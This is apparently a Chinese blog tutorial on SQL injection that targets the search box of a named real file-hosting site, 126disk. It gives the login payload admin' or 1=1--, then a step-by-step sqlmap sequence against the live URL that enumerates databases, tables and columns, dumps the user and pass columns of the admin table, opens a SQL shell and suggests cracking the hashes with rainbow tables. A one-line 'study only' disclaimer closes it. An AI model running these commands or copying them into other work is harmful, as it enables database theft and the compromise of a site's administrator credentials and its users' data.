sql注入点有很多,有用户登录注入,如万能密码 admin' or 1=1-- ;还有Web程序中的一些交互注入,如查询之类。有关sql注入详细信息见易踪网文章http://www.yeetrack.com/?p=20。由于126disk网盘对用户输入的查询关键字,没有实行过滤,造成sql注入漏洞,可以探测数据库信息,查看数据库数据,甚至把整个数据库搞到本地,即拖库。
我们在126disk网盘搜索框里输入helloworld',查看结果,
直接把错误报出来,说明对我们输入的单引号进行了解析,web程序的查询sql语法,报出错误。我们可以手动去探测,利用union这个命令去返回我们想要的数据。这里用sqlmap自动化去探测。
1, 找到注入点的url,这里的查询用的get方法,url为http://so.126disk.com/search?key=helloworld, Backtrack中的sqlmap默认路径为/pentest/database/sqlmap,也可以自己去网上免费下载,易踪网分享:http://wangpan.baidu.com/share/link?shareid=63664&uk=537055152。命令:
./sqlmap.py -u http://so.126disk.com/search?key=helloworld --dbs,该条命令是探测数据库用的。易踪网探测结果如图:
我们看到数据库为mysql,操作系统为windows2003,服务器为IIS6,用的php的技术,探测到126disk这个数据库,information_schema库是mysql的系统库,存有一些用户,和表等信息。
2, 探测表名,我们探测到了数据库名,接下来探测表名。命令:
./sqlmap.py -u http://so.126disk.com/search?key=helloworld -D 126disk --table,易踪网探测结果如下:
我们可以看到共24张表。
3, 探测列名,探测到了数据库和表名,我们接下来探测感兴趣的表的列名。我们来探测disk_admin表中的列名。命令:
./sqlmap.py -u http://so.126disk.com/search?key=helloworld -D 126disk -T disk_admin --columns,易踪网探测结果如下:
我们可以看到该表中由我们感兴趣的user和pass列。
4, 探测数据,接下来我们探测数据库中的用户数据,命令:./sqlmap.py -u http://so.126disk.com/search?key=helloworld -D 126disk -T disk_admin -C user,pass --dump,这样我们就可以探测disk_admin中的user和pass列的数据了。这里探测结果就不贴图了。现在的网站一般都不会保存明文密码,一般时md5或者sha1加密,有时还可能会有salt值,想看明文的话,去下个彩虹表去破解吧。
sqlmap还有些特别有意思的参数,如--current-user,可以查看当前登录数据库的用户,--sql-shell是建立一个sql的shell,有了这个shell我们就可以方便的运行sql命令了。命令:
./sqlmap.py -u http://so.126disk.com/search?key=helloworld --sql-shell,截图如:
本文由youthflies发表在易踪网上,本文地址:http://www.yeetrack.com/?p=259,易踪网提醒:该方法仅为学习研究之用,不要做破坏之举动。